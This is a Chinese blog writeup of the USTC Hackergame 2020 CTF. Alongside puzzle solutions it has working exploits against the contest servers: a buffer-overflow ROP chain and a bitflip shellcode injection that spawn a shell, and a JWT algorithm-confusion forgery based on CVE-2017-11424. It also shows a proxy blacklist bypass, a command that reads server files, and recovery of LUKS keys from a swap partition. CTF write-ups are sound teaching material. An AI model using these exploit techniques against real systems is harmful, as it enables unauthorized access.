Hackergame 2020 Writeup

最近一周咱参加了USTC的Hackergame 2020。由于正好之前的Deadline清完了,而且听说这个比赛新人友好+时间长,于是咱就来了。整体比赛感觉题目出的难度梯度确实很合理,从简单到难都有,而且很多难题也是偏脑洞的,可以通过一段时间的学习解出。最终排名虽然一度进入前10,但是最后一小时还是掉出了前10(屯Flag的dalao们太强了,垂直上分老拜登了),终榜Rank11,算是一点遗憾吧哈哈。

话说回来,既然参加了比赛,就不能放过这个水blog的机会。且容我用Writeup水一篇blog~

签到

签到题就是一个前端验证的题目,简单修改前端页面元素就可以。

当然也可以修改url中的number参数,而且多填几个确实会给好多个flag(

虽然多个flag都是同一个

猫咪问答++

这题目有两个难点,一个就是第一问的哺乳动物数量(搜索真的太麻烦了!):

1. 以下编程语言、软件或组织对应标志是哺乳动物的有几个?

Docker,Golang,Python,Plan 9,PHP,GNU,LLVM,Swift,Perl,GitHub,TortoiseSVN,FireFox,MySQL,PostgreSQL,MariaDB,Linux,OpenBSD,FreeDOS,Apache Tomcat,Squid,openSUSE,Kali,Xfce.

另一个就是中国科学技术大学西校区图书馆正前方(西南方向) 50 米 L 型灌木处共有几个连通的划线停车位?了,也不知道是什么人才出的题目。而且有一个坑点,就是百度地图俯视角标出的车位数量是错的

你们这个是什么地图啊,害人不浅呐

必须在街景才能看到正确的数量。全部题目的答案如下,基本都可以通过搜索引擎搜索得到:

“建议身临其境”

全部的答案如下:

  1. 12(大概是Docker、Golang、Plan 9、GNU、Perl、FireFox、MySQL、PostgreSQL、MariaDB、Apache Tomcat、Xfce、FreeDOS)
  2. 256(参阅:https://tools.ietf.org/html/rfc1149
  3. 9(TEEWORLDS)
  4. 9(见上图)
  5. 17098

由于第一个很容易数错,所以其他几个空可以使用jQuery快速填写

$("[name=q2]").val("256");
$("[name=q3]").val("9");
$("[name=q4]").val("9");
$("[name=q5]").val("17098");

2048

同样也是一道前端题,嘛,当然最简单的解法也许是最难就是手工玩了(逃。打开Chrome调试工具,在Source选项卡可以看到页面的源码,基本没有经过混淆。阅读后,可以在html_actuator.js发现请求Flag的逻辑,直接按着请求就行。

一闪而过的 Flag

题目是一个Windows控制台程序,由于打开立刻会关闭窗口因此难以阅读Flag。在Windows Terminal或其他终端打开程序即可。

从零开始的记账工具人

题目是一个含大写数字和物品数量的Excel,要求计算购买总金额。由于总量较大,没有办法简单通过人工转换,所以需要写脚本解析。我这里采用的方式是将题目转换为csv格式的文件(不转换也行,可以用pandas读),然后写Python脚本解析。说实话,这题目的格式挺复杂,搜到的转换函数都不太管用,最后还是自己写了。另外还有一点就是,由于浮点数精度有限,这题还需要×100转化为整数计算。

with open('./hg/bills.csv', 'r') as f:
    data = f.readlines()

total = 0
m = "零壹贰叁肆伍陆柒捌玖"
m_map = {k:m.index(k) for k in m}
b_map = {"佰":10000,"拾":1000,"元":100,"角":10,"分":1}

def trans(s):
    curm = None
    curb = None
    cur = 0
    for ch in s:
        if ch == '整':
            continue
        if ch in m:
            curm = m_map[ch]
        elif ch in b_map.keys():
            curb = b_map[ch]
        if curb is not None:
            if curm is None:
                if ch == '元':
                    curm = 0
                else:
                    curm = 1
            cur += curm * curb
            curm = curb = None
    return cur

data = data[1:]
for line in data:
    s, cnt = line.split(",")
    cur = trans(s)
    total += int(cur) * int(cnt)

print(total / 100)

超简单的世界模拟器

这题是模拟康威生命游戏(Conway’s Game of Life),需要摧毁游戏中两个特定的方块,并且只可以在左上角15*15的游戏区域内绘制。第一次见到Conway’s Game of Life还是网鼎杯的诡异二维码,当时没能看出题目的提示。事实上这一题在康威生命游戏中有个特定的门类GUN,是专门设计能摧毁一块区域的结构的。第一题可以用Wikipedia的Glider解,至于第二题……我一开始在现有结构中试了半天,甚至尝试过通过反弹产生Glider,但是最后还是通过随机输入解的(囧)。

从零开始的火星文生活

这题和我之前校赛出的题目撞了hhhh(我出的可以参见:SpiritCTF 2020 – Misc Official Writeup 锟斤拷)。同样也是先按照题目使用GBK编码。之后考虑熵可大致判断是文本,因此直接暴力尝试不同编码解码即可。解码所用的编码为GB18030。

自复读的复读机

反向复读

题目要求输入一串自复读的Python代码,如果想不出来……那当然是Google一个了(逃。搜索“Python print itself”,在第一条搜索结果中可以找到这段代码

s = r"print 's = r\"' + s + '\"' + '\nexec(s)'"
exec(s)

不过很显然,它不仅有换行,而且语法也是Python 2的,所以稍加调整就可以得到Python 3的版本

s = r"print('s = r\"' + s + '\"; exec(s)')"; exec(s)

由于题目要求反向输出,因此在print时还需要反向。此外,还有一个坑就是print默认会在行末加换行符,需要通过end参数绕开。最终Payload为

s = r"print(('s = r\"' + s + '\"; exec(s)')[::-1],end='')"; exec(s)

哈希复读

哈希复读和逆序同理,但是有一个问题,就是计算sha256需要导入hashlib库。这里就用到了Python的BUG特性__import__进行行内导入。因此最后的Payload为

s = r"print(__import__('hashlib').sha256(('s = r\"' + s + '\"; exec(s)').encode()).hexdigest(), end='')"; exec(s)

#多说一句

虽然本身不是沙箱逃逸题,但是你其实可以读取一些题目文件好家伙,直接偷题

__import__("os").system('cat checker.py')

不过由于用户是nobody,所以不能直接读取flag文件也不能搅屎

233 同学的字符串工具

字符串大写工具

题目首先正则过滤掉了大小写的FLAG,然后又希望str.upper的输出是FLAG

r = re.compile('[fF][lL][aA][gG]')
if r.match(s):
    print('how dare you')
elif s.upper() == 'FLAG':
    print('yes, I will give you the flag')
    print(open('/flag1').read())

在正则表达式正确的情况下,我们只能合理怀疑是upper出了问题。但是实际上相关资料少得可怜,源码也看不出什么端倪,所以想到直接爆破

for i in range(1 + 0x110000): # chr 最大值
    s = chr(i)
    if s.upper() != s.title():
        print(s)

然后结果中可以找到一个诡异的输出,于是拼起来就得到了payload:flag。而且StackOverflow确实能查到相关的提问。实际上,这个字符是拉丁文小型连字(U+FB02),其标准的Case Folding就是0066 006C(对应ASCII的fl),所以Python的处理实际上没什么问题。

编码转换工具

第二题类似第一题,就是第二个条件变更为以UTF-7解码。这里的考察点是UTF-7编码,UTF-7编码本质上就是用Base64编码非ASCII(其实是ASCII的子集)字符。因此大部分的实现在解码过程中基本都是直接解码Base64,而这就会导致原本ASCII的字符有了两种表示,由此可以完成绕过。

对于字符f,其ASCII码为0b0000000001100110,六个一组可以分为[0b000000, 0b000110, 0b011000],查表得到'A', 'G', 'Y'。因此最终的Payload为:+AGY-lag

233 同学的 Docker

这题考察的是Docker的镜像(IMAGE)。这里需要一个前置知识,为了节省空间,Docker镜像实际是分层存储的,每层仅仅存放了有差异的文件。

Docker容器的文件结构

而Dockerfile中的每一行都会创建一个容器层,因此只需要找到容器在flag删除之前的那一层的文件就可以找到flag的内容。

# 拖拽镜像
docker pull 8b8d3c8324c7/stringtool
# 查看Overlay位置
docker info
# 进入对应文件夹(需要Root)
cd /var/lib/docker/overlay2
# 查找flag文件
find . -iname flag.txt
# 输出内容,注意其中一个是无法输出的
cat ./450dde13d1324a35c16113e8ebec6e554f219b71f4f473cbb5612f23ab12c3be/diff/code/flag.txt

从零开始的 HTTP 链接

这题是字面意思,就是使用HTTP连接题目服务器的0号端口。所以手动操作Socket

from socket import *

sock = socket()
sock.connect(("202.38.93.111", 0))
sock.send("GET / HTTP/1.1\r\nHost: 202.38.93.111:0\r\n\r\n".encode())
bin = sock.recv(4096)
while bin:
    print(bin.decode())
    bin = sock.recv(4096)

注意,似乎macOS底层限制没法连接0号端口。此外,由于我本地开启了透明代理,而相关工具不支持0号端口,搞得我一直以为哪里写错了……

连接上之后发现坑爹事儿:页面是WebSocket通信的。摆明就是不建议手写嘛!所以就Google了一个端口转发的Python脚本,改改地址(我还加了一大堆try/except鲁棒!妥妥的鲁棒)然后用浏览器打开就行了。

来自一教的图片

题目提到了傅里叶光学实验,而且文件名是4f_system_middle,所以我真的去找了一个4f光学系统的模拟……然后粗暴替换每一步的输入为图片,结果真被我做出来了(逃。最后的代码简化如下

img = double(imread('4f_system_middle.bmp'));
img_fft = fftshift(fft2(fftshift(img)));
colormap(gray(256))
imagesc(log(abs(img_fft))), axis image

结果就是一个fft啦!而且结果还挺难认的,有些字符直接跑到左边去了。

超简陋的 OpenGL 小程序

打开程序发现Flag的模型前面有一堵墙,程序Shader就是简单实现了Phong光照(其实缺了高光分量)(不懂Phong光照的可以看我OpenGL笔记的光照篇,哦我还没写出来,那没事了)。由于懒得逆向,而且Shader程序是文本形式的GLSL,所以不妨直接改一改Shader。由于墙本质是一系列顶点,所以我们只需要判断墙的顶点,然后把它移开就行。

#version 330 core
layout (location = 0) in vec3 aPos;
layout (location = 1) in vec3 aNormal;

out vec3 FragPos;
out vec3 Normal;

uniform mat4 model;
uniform mat4 view;
uniform mat4 projection;

void main()
{
    vec3 pos = aPos;
    if (pos[2] > 0.1) {
        pos[0] += 1;
        pos[1] += 1;
        pos[2] += 2;
    }
    FragPos = vec3(model * vec4(pos, 1.0));
    Normal = aNormal;
    
    gl_Position = projection * view * vec4(FragPos, 1.0);
}

pos[2]对应的就是z轴坐标,具体的值需要多试几次,不然效果会很古怪。

大概有那么怪

生活在博弈树上

题目内容NETA自2020浙江高考满分作文《生活在树上》,老八股了。

始终热爱大地

题目程序实现了一个井字棋的博弈树。而由于服务器是先手,因此正常情况下本题是没有办法下赢电脑的。考虑到题目给了binary,所以这题本质还是pwn。第一次在正赛打pwn,有点小激动。观察源码,可以找到危险函数gets,可以确定是一个ROP。

所以目标是覆盖到success,使程序成功退出。把binary丢进cutter,与源码对应就可以找到success在栈上的位置。

可以看到successbuffer的偏移是0x90 - 0x1,因此直接覆盖过去。此外还要注意一点就是,因为覆盖成功后需要进入判断,所以覆盖的时候要使用数字并且该格子需要没被占领,因此直接盖'1'即可。Exp如下

from pwn import *

token = "Your token"
real = True

if real:
    sh = remote("202.38.93.111", 10141)
    sh.sendline(token.encode())
else:
    sh = process("./hg/tictactoe/tictactoe")

sh.recvuntil("such as (0,1):")
payload = b"1" * (0x90 - 0x1) + b'\x01'
sh.sendline(payload)
sh.interactive()

升上天空

既然是ROP,不难想到第二题就是Get Shell了。Get Shell的目标很明确,就是调用系统调用。这里就是59号系统调用execve。因此需要填写这几个寄存器

NRsyscall namereferences%raxarg0 (%rdi)arg1 (%rsi)arg2 (%rdx)
59execveman/ cs/0x3bconst char *filenameconst char *const *argvconst char *const *envp

填写寄存器的通常方法是找一些可以利用的代码段(叫做Gadget),这些Gadget一般包括寄存器修改,最后以ret结尾(用来返回栈,继续执行下一个Gadget)。比如add rax, 1 ; ret就是给rax寄存器+1的Gadget。这里可以使用工具ROPgadget来查找可用的Gadget,由于输出较多,因此需要手动grep一下结果。比如对于填写调用号寄存器rax,我们可以查找如下Gadget

$ ROPgadget --binary ./tictactoe | grep 'add rax'
0x0000000000463af0 : add rax, 1 ; ret
$ ROPgadget --binary ./tictactoe | grep 'xor rax'
0x0000000000439070 : xor rax, rax ; ret

xor rax, rax ; ret可以用来清空rax寄存器的内容,之后重复59次add rax, 1 ; ret就可以使rax寄存器的内容变为59。而对于rdi这种指针类型的参数,我们可以直接在栈上布置内容,然后使用rsp寄存器的值作为指针位置(比如push rsp; ret加上pop rdi; ret)。当然也可以寻找一个有读写权限的段(比如.data),然后将值写入,比如栈上布置

0x0000000000407228 -> pop rsi ; ret,相当于 rsi = .data段地址
0x00000000004a60e0 -> .data段地址
0x000000000043e52c -> pop rax ; ret,相当于 rax = '/bin//sh'
hex('/bin//sh')
0x000000000046d7b1 -> mov qword ptr [rsi], rax ; ret,相当于 *rsi = rax

由于这种布置比较简单,题目也没加设限制,所以可以直接使用ROPgadget的ropchain选项自动生成ROP链。最终Exp如下

from pwn import *

token = "Your token"
real = True

if real:
    sh = remote("202.38.93.111", 10141)
    sh.sendline(token.encode())
else:
    sh = process("./hg/tictactoe/tictactoe")

# ROPgadget --binary ./tictactoe --ropchain
from struct import pack

# Padding goes here
p = b''
p += pack('<Q', 0x0000000000407228) # pop rsi ; ret
p += pack('<Q', 0x00000000004a60e0) # @ .data
p += pack('<Q', 0x000000000043e52c) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000046d7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000407228) # pop rsi ; ret
p += pack('<Q', 0x00000000004a60e8) # @ .data + 8
p += pack('<Q', 0x0000000000439070) # xor rax, rax ; ret
p += pack('<Q', 0x000000000046d7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004017b6) # pop rdi ; ret
p += pack('<Q', 0x00000000004a60e0) # @ .data
p += pack('<Q', 0x0000000000407228) # pop rsi ; ret
p += pack('<Q', 0x00000000004a60e8) # @ .data + 8
p += pack('<Q', 0x000000000043dbb5) # pop rdx ; ret
p += pack('<Q', 0x00000000004a60e8) # @ .data + 8
p += pack('<Q', 0x0000000000439070) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000463af0) * 59 # add rax, 1 ; ret
p += pack('<Q', 0x0000000000402bf4) # syscall

sh.recvuntil("such as (0,1):")
payload = b"1" * (0x90 - 0x1) + b'\x01' + b"1" * 8 + p
sh.sendline(payload)
sh.interactive()

来自未来的信笺

本题题目为一系列二维码,构造方式类似于Github北极存档计划。所以逐一扫码后拼接解压即可得到Flag。吐槽下Python的二维码库,基本都没法用(比如zxing的Python bind)。

#!/bin/sh
for i in *.png; do
    zbarimg --raw --oneshot -Sbinary "$i" > "${i%.png}.bin"
done
cat *.bin >> merged.bin

狗狗银行

题目允许开储蓄卡、信用卡,并且信用卡可以给储蓄卡转账,每日产生消费和利息。简单实验发现题目存在浮点数四舍五入,所以可以利用这一点,给储蓄卡转账167元(因为167 * 0.003 = 0.501会被四舍五入为1)以利用。假如开100张,每日能赚100,同时需要还83(167 * 100 * 0.005 = -83.5),每日还有额外开销10。可以看到最终还是会多的,但是由于欠款越来越多,所以100张还是无法赚取1000,最后解题使用了500张卡。可以在控制台用Fetch API简化开卡流程。

// 开500张,注意先手动开一张信用卡
for (i = 0; i < 500; i++) {
    fetch("http://202.38.93.111:10100/api/create", {
        method: 'POST',
        body: JSON.stringify({type: "debit"}),
        headers: new Headers({
            "Content-Type": "application/json;charset=UTF-8",
            "Authorization": "Bearer Your token"
        })
    })
}
// 转账
for (i = 3; i <= 502; i++) {
    fetch("http://202.38.93.111:10100/api/transfer", {
        method: 'POST',
        body: JSON.stringify({
            amount: 167,
            dst: i,
            src: 2
        }),
        headers: new Headers({
            "Content-Type": "application/json;charset=UTF-8",
            "Authorization": "Bearer Your token"
        })
    })
}
// 然后就嗯点就行了

超基础的数理模拟器

题目是真的朴实无华且枯燥,就是嗯解400道定积分。听说还有直播手算的dalao,几小时就做完了。然而咱数理基础并不是很扎实,所以只得偷鸡用脚本跑。一开始我用了Sympy尝试求解,发现大量失败,所以我就放弃自己解了。结果后来听说用numpy就能出数值解,囧。

我最终是使用了微软计算器的API,直接读取Latex格式公式计算。虽然十几次才能算一个,但是挂一晚上也够了(逃。此外就是还需要注意Session的问题,所以需要维护一个Cookie Jar。最后Exp脚本如下,感谢M$爸爸没Ban我IP

import requests
import re
from bs4 import BeautifulSoup
import pickle
import os

ret_re = re.compile("approx\\s([0-9\\.]+)")
session = requests.session()
ua = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36'

def load_base_cookie():
    url = "http://202.38.93.111:10190/login?token=Your%20token"
    headers = {
        'User-Agent': ua
    }
    session.request("GET", url, headers=headers)
    assert len(session.cookies) > 0

def load_cookie_from_file():
    if os.path.exists("./cookies"):
        print("从文件恢复Cookie")
        with open('./cookies', 'rb') as f:
            session.cookies = pickle.load(f)
    else:
        print("载入新Cookie")
        load_base_cookie()

def save_cookie():
    with open('./cookies', 'wb') as f:
        pickle.dump(session.cookies, f, 0)

def solve(latex : str):
    url = "https://www.bing.com/cameraexp/api/v1/solvelatex"
    latex = latex.replace("\\", "\\\\")
    payload = "{\n    \"latexExpression\": \"" + latex \
        + "\",\n    \"clientInfo\": {\n        \"platform\": \"web\",\n        \"mkt\": \"zh\",\n        \"skipGraphOutput\": true,\n        \"skipBingVideoEntity\": true\n    },\n    \"customLatex\": \"" + \
            latex + "\",\n    \"showCustomResult\": false\n}"
    headers = {
    'Content-Type': 'application/json',
    'Cookie': 'Your cookie',
    'User-Agent': ua
    }
    response = requests.request("POST", url, headers=headers, data = payload)
    data = response.json()
    data = data['results'][0]['tags'][0]['actions'][0]
    print("取得返回结果:", repr(data)[:70])
    groups = ret_re.findall(data['customData'])
    ret : str = groups[0]
    point_at = ret.index(".")
    decimals = len(ret) - point_at - 1
    if decimals > 6:
        ret = ret[0:point_at + 6 + 1]
    else:
        ret += '0' * (6 - decimals) # 是不是要补0?
    return ret

def get_quest():
    try:
        url = "http://202.38.93.111:10190"

        payload = {}
        headers = {
            'User-Agent': ua
        }

        response = session.request("GET", url, headers=headers, data = payload)

        html = response.text
        soup = BeautifulSoup(html, 'html.parser')
        num = soup.find(class_='cover-heading')
        formula = soup.find("center")
        save_cookie()
        return num.get_text(), formula.get_text().replace("$", "").replace("\n", "")
    except Exception as e:
        print("获得题目错误:", e)
        return None, None

def submit_ans(ans, finish):
    url = "http://202.38.93.111:10190/submit"

    payload = "ans=" + ans
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'User-Agent': ua
    }

    response = session.request("POST", url, headers=headers, data = payload)
    html = response.text
    save_cookie()
    if finish:
        with open('./result_page', 'w') as f:
            f.write(html)
        print("保存结果成功")
    check = '答案正确' in html
    return check

def auto_solve():
    finish = False
    while True:
        try:
            num, latex = get_quest()
            if int(num.replace("题", "")) <= 1:
                finish = True
            print("得到题目:", num, ";内容:", latex)
            ans = solve(latex)
            print("解出答案", num, ":", ans)
            ret = submit_ans(ans, finish=True)
            print("回答情况:", ret)
            if finish:
                print("整完噜~")
                break
        except Exception as e:
            print("解题失败", num)
            continue

def solve_prompt():
    while True:
        latex = input("输入题目:")
        try:
            ans = solve(latex)
            print("解出答案:", ans)
        except Exception as e:
            print("解题失败")


load_cookie_from_file()
auto_solve()
#solve_prompt()

永不溢出的计算器

本题给出了一个模M的运算器,并且给出模M意义下Flag数65537次方的值。看到65537很自然的想法就是RSA,因为65537是常用的e(另一个常用e就是白给的3)。所以首先获得模数,这个只需要找两个运算结果大于不同倍M的式子,计算后GCD即可。

其次就是尝试分解模数M。暴力的方法肯定是行不通的(因为我都试过了),所以必须考虑其他途径。这里的关键点是平方根的计算,因为模M=pq意义下在不知p、q的情况是很难计算的。

所以考虑实际的计算,假设

a^2 \equiv b^2 \pmod{M}

换句话说就是考虑开完根号可能出现多解。所以很容易可以得出

M \mid a^2 - b^2

由于a^2 - b^2 = (a + b)(a - b),所以a + ba - b都是M的因数。由于M=pq,所以他们只能是1、p、q、n的倍数。因此,只要直接GCD就完事了。此外关于a、b的选取,考虑我们不想要的1、n情况:

  • \gcd(M, a-b)=1,因为a、b都小于M,因此a+b=M即a \equiv b \pmod{M}
  • \gcd(M, a-b)=M,因为a、b都小于M,因此a=b。

所以只要找一个数字x,它的平方y使用计算器计算后得到的结果不等于x与M-x即可。假设计算结果是x’,那么计算\gcd(M, x-x')=p就行。Exp代码如下(尝试过程省略了)

from Crypto.Util.number import *
import math

M = None

def get_m():
    # 2 ^ 1025
    o1 = 2 ** 1025
    o2 = 28396208086015887845047917674801059600737029035540492059723476056779072566297213092405141458246616470073917859670006369063544396631118198789203547965290363793740041591265634913577320642409648302494545035960037092632280770945230482935383261147696321296925396569228655655527023152531257419742168253446327877839
    # 2 ^ 1234
    o3 = 2 ** 1234
    o4 = 18439318309887542461394929370793729821071276205399745554337427837778094675987546208728624093797526895487281890537037529724343449752760056064299251513661733089720809165986704539203568027749964273695088186456166418635045645757869485496862926747424193292213807803901677317073477166115666781620752376949381030496
    #
    c1 = o1 - o2
    c2 = o3 - o4
    ret = GCD(c1, c2)
    global M
    M = ret
    print("模数:", ret)
    print("Len: ", int(math.log(M) / math.log(2)))

p = q = None

def gene_num():
    import random
    org = random.randint(2**1020, 2**1022)
    sq = pow(org, 2, M)
    print(org)
    print()
    print("sqrt(%d)" % sq)

def get_p():
    org = 18741454620082898159174559625502548807412690568036120291610938473112073884577404462944043327063899675102784236919743342168222507037073357703730385344757989708391354892973066880246677300053912363408663575239099496503757686200617061100216796831982914772328403715626368128169159049894732503905934070612301139988
    ret = 4134494564505163299656993274183382485759379627772854466862230948199698016865921800671644325407121306703333818514510643104855619701242642559781973249835060787951331914396799306151043243998083619638722972808991749706430049307840385705183541466923145482354915102711833485388819207127431229002982541524940777514
    global p
    global q
    # 得到
    p = GCD(org - ret, M)
    q = M // p
    print("分解M:", p, q)
    assert M == p * q

a = 11139595682294548103327872340796324598909376504543671625016162043217132501805157943603340931851125699042215237465622297059167130973886037490924521205662995855201991685663696578642478590649265273523260853261498263406513173903023503910632005457401792005427692524947535990590186146540321155888752658789443160772
e = 65537
# 求M,p,q
get_m()
# gene_num()
get_p()
# RSA
phi = (p - 1)*(q - 1)
d = inverse(e, phi)
b = pow(a, d, M)

print(long_to_bytes(b).decode())

普通的身份认证器

题目提供了获取JWT Token与使用JWT Token的方法,并且验证时提示要admin才能获取Flag,因此不难猜到是对JWT进行Hack。根据提示“旧requirements”,猜想使用的是旧版本的pyjwt库,由此找到CVE-2017-11424。可以看到主要是关于混淆对称、非对称算法的,结合题目采用RS256算法签名,因此可以猜想是转化为对称的签名方式HS256进行绕过。

接下来就是找公钥了。观察请求头注意到服务端使用的是uvicorn,因此想到Fast API的文档泄露。请求http://202.38.93.111:10092/docs,果然发现有/debug接口,请求就能得到公钥。

然后就是构造JWT Token了,这里可以使用jwt_tool工具辅助修改。在jwtconf.ini中设置公钥的位置之后,就可以用如下指令重签题目给出的JWT Token了。

# 询问式更改相关字段
$ python jwt_tool.py Your_JWT_Token -T
# 重签
$ python jwt_tool.py Your_new_JWT_Token -X k

×超精巧的数字论证器

写了个脚本,但是要跑一天……懒得再写并行跑的脚本了,遂放弃。

[题解后] 原来正确的做法是通过-~来实现+1,确实没想到这一层。

×超自动的开箱模拟器

数学太难了,咱只会BF,那算法去哪儿领(

[题解后] 我曾经想过置换分解,但是没想通原理感觉不靠谱就没做。看完后理解了原理是长置换出现的概率低,确实没想到这一层。当时没想通为什么一定会出现……

室友的加密硬盘

通过file指令可以确定,题目是一个MBR磁盘的Dump(估计是dd出来的)。因此可以使用gdisk指令查看分区(fdisk也一样)。

$ gdisk roommates_disk_part.img
GPT fdisk (gdisk) version 1.0.5

Partition table scan:
  MBR: MBR only
  BSD: not present
  APM: not present
  GPT: not present
Command (? for help): p
Disk roommates_disk_part.img: 4194304 sectors, 2.0 GiB
Sector size (logical): 512 bytes
Disk identifier (GUID): 3D717327-6C3D-49ED-8F87-B18CF46E4AE2
Partition table holds up to 128 entries
Main partition table begins at sector 2 and ends at sector 33
First usable sector is 34, last usable sector is 4194270
Partitions will be aligned on 2048-sector boundaries
Total free space is 8158 sectors (4.0 MiB)

Number  Start (sector)    End (sector)  Size       Code  Name
   1            2048          391167   190.0 MiB   8300  Linux filesystem
   5          393216         1890303   731.0 MiB   8200  Linux swap
   6         1892352         3891199   976.0 MiB   8300  Linux filesystem
   7         3893248        16775167   6.1 GiB     8300  Linux filesystem

可以看到总共有四个分区,而且可以看出给出的硬盘并不完整。使用photorec工具复原分区文件,可以大致确定分区1是/boot分区,分区6是LUKS加密的/home,分区7是rootfs。尝试使用hashcat字典爆破LUKS头未果,只能考虑别的方案了。由于题目中提到了512位AES,因此想到有可能是swap分区中残留了启动时用于解密的AES秘钥,因此使用findaes工具搜索可能符合的密钥。

$ ./findaes roommates_disk_part.img

然后找临近的两个AES拼接(真的是玄学,因为需要的是512位但是找到的是256位的),这里注意由于内存是小端的,所以要先后再前。由此能得到一系列可能的AES密钥,之后就是测试用秘钥挂载了。首先挂载环状设备把分区文件变为块状设备:sudo losetup --offset 968884224 /dev/loop8 roommates_disk_part.img。这里的偏移是通过起始柱面 1892352 × LBA大小 512 = 968884224计算得到的。之后使用cryptsetup luksOpen就可以挂载了。成功的密钥对是

Found AES-256 key schedule at offset 0x171c873a: 
fa 01 a9 80 89 a3 8f 60 6c 14 86 94 e7 a3 50 9a ac cf c1 65 06 8e d6 7f 57 15 38 4b 93 e5 6a a6 
Found AES-256 key schedule at offset 0x171c890d: 
e4 58 16 75 c3 f9 47 f7 b5 37 a3 dd 60 98 e4 a5 89 8b 0a 18 c2 b3 b0 f6 75 c6 1d e4 10 6f c6 a1 

超简易的网盘服务器

由于给出了dockerfilenginx.conf,因此基本上能得到大致的部署细节。实际上题目在网站根目录/和公开目录/Public同时部署了两个h5ai。

考虑到nginx.conf中,对以.php为结尾的文件访问没有鉴权,部署过程中也没有配置h5ai的相关鉴权,因此实际上可以直接访问这个部署的内容:http://202.38.93.111:10120/_h5ai/public/index.php。于是关键就在于如何仅靠这个链接下载(/目录是有Base Authentication的),通过阅读源码或简单猜测就能发现可以使用下载API来读取,于是构造最终Payload

超安全的代理服务器

找到 Secret

如题目所说,页面发送了一个HTTP/2的Server PUSH。但是我在Python找到的hyper库好像不太好使,所以最后开了个MITM抓的包(逃。

入侵管理中心

题目列了域名白名单、IP黑名单,所以明显是用IP绕过。很明显缺了0.0.0.0,所以手写一个Proxy复现就行。中间还提醒了要加Referer头,感觉是针对非手写的用户hhhh。

from socket import *
import ssl

context = ssl._create_unverified_context()

content = b'CONNECT 0.0.0.0:8080 HTTP/2\r\n' + \
    b'Proxy-Connection: Keep-Alive\r\n' + \
    b'Content-Length: 0\r\n' + \
    b'Host: 146.56.228.227\r\n' + \
    b'Secret: 9cad5cc1ea' + b'\r\n\r\n'

sock = socket()
sock = context.wrap_socket(sock)
sock.connect(("146.56.228.227", 443))
sock.send(content)
bin = sock.recv(4096)
print(bin.decode())

req = b'GET / HTTP/1.1\r\n' + \
    b'Host: 127.0.0.1\r\n' + \
    b'Referer: https://146.56.228.227/\r\n' + \
    b'\r\n'

sock.send(req)
bin = sock.recv(4096)
while bin:
    print(bin.decode())
    bin = sock.recv(4096)

×证验码

我的思路是按照字体计算黑色像素,之后根据图片的黑色像素数量还原。但是干扰线实在太烦人了,在没有干扰线的情况下勉强能做,加了干扰线结果就偏好远。干扰线平均会去掉200左右个像素点,尝试了整数线性规划但是以失败告终。

[题解后] 原来绘制字的时候不是纯黑白的,可恶啊!分拆的想法倒是没有错,确实没想到还有非纯黑白的像素,竟然一次都没在图片编辑程序里看过这个验证码……

×动态链接库检查器

大概是CVE-2019-1010023复现吧,但是CVE好长,不想看……

[题解后] ???我试过这样没有用啊???

超精准的宇宙射线模拟器

这题目也是一个PWN。把binary丢进Cutter,可以看到程序大概的逻辑就是读取地址和一个位数,然后翻转对应的比特位。对于不合法的输出,程序会重复读取一遍。

而为了达到改写任意比特的效果,程序在__init处还调用了mprotect用来开放内存段的写权限。

因此这一题并非是传统的PWN,我们是可以更改.text段的内容的。但是话说回来,一个Bit用来布置Shellcode肯定是远远不够的,所以我们首先需要破除一个Bit的修改限制。综合程序逻辑,我们可以确定突破口在于修改exit(0)exit函数调用的第一步就是跳转至.plt,因此我们可以考虑微调它的跳转位置到无关紧要的函数上。

考虑call指令的格式

CALL指令格式,说人话就是E8后面4个字节表示偏移

比如这条指令e8 26 fe ff ff,将地址转为小端0xfffffe26可以看出是一个负数-474,加上指令长度5就能算出调用目标地址0x401295 + 5 - 474 = 0x4010c0。由于补码变动其实也是正常增减,因此考虑靠谱的能翻转的位只有

  • 0x26的第1位,地址变化为-2
  • 0x26的第2位,地址变化为-4
  • 0x26的第5位,地址变化为-32
  • 0xfe的变动就太大了,可以忽略

查看.plt表,你说巧不巧,mprotect的偏移(0x4010a0)正好差exit的偏移(0x4010c0)32!

而且跳到mprotect时寄存器的内容也没什么问题,程序也不会退出,所以我们构造出了第一个Payload:401296 5

下一步就是考虑布置Shellcode与执行了,同样执行我们也是通过修改循环内的call指令,只要跳到任意有读写执行权限的内存区域即可。不过需要注意的是,由于跳转立刻生效,所以也只能变动一位。这次选择的是修改第一个call setvbuf为跳转至entry0(IDA下是_start),Payload为40120a 6。于是,只需要在0x004010d0处布置Shellcode就能成功Get shell了。完整的Exp如下

from pwn import *

context(log_level = 'debug', arch = 'amd64', os = 'linux')

token = "Your token"
real = True

if real:
    sh = remote("202.38.93.111", 10231)
    sh.sendline(token.encode())
else:
    sh = process("./hg/bitflip")
    input("等待GDB")

with open("./hg/bitflip", 'rb') as f:
    data = f.read()

START_ADDR = 0x4010d0

def make_payload():
    result = []
    shellcode = asm(shellcraft.sh())
    org_data = data[(START_ADDR & 0xffff):(START_ADDR & 0xffff) + len(shellcode)]
    # 检查不同位
    diff = [b1 ^ b2 for b1, b2 in zip(shellcode, org_data)]
    for offset in range(len(diff)):
        for i in range(8):
            if (1 << i) & diff[offset]:
                addr = START_ADDR + offset
                result.append("%x %d" % (addr, i))
    print(result)
    return result

# 改 exit 为 mprotect,避免退出
sh.recvuntil("flip?")
sh.sendline(b"401296 5")
# 写 shellcode
payloads = make_payload()
for payload in payloads:
    sh.recvuntil("flip?")
    sh.sendline(payload.encode())
# call setvbuf -> call entry0 
sh.recvuntil("flip?")
sh.sendline(b"40120a 6")
# shell
sh.interactive()

×超迷你的挖矿模拟器

这题的攻击点还是很好找的,就是Game::damage。只需要在waitFor一处更改当前地图使挖掘的格变成Flag就好。

if (location.getMaterial().harderThan(material)) { // 这个分支必须是false
    this.waitFor(LONG_DURATION);
    result.put("dropped", Material.AIR.name()).put("flag", "");
} else {
    this.waitFor(SHORT_DURATION);
    result.put("dropped", location.getMaterial().name());
    result.put("flag", location.getMaterial().flagOf(this.currentUser));  // 唯一出flag的位置
}

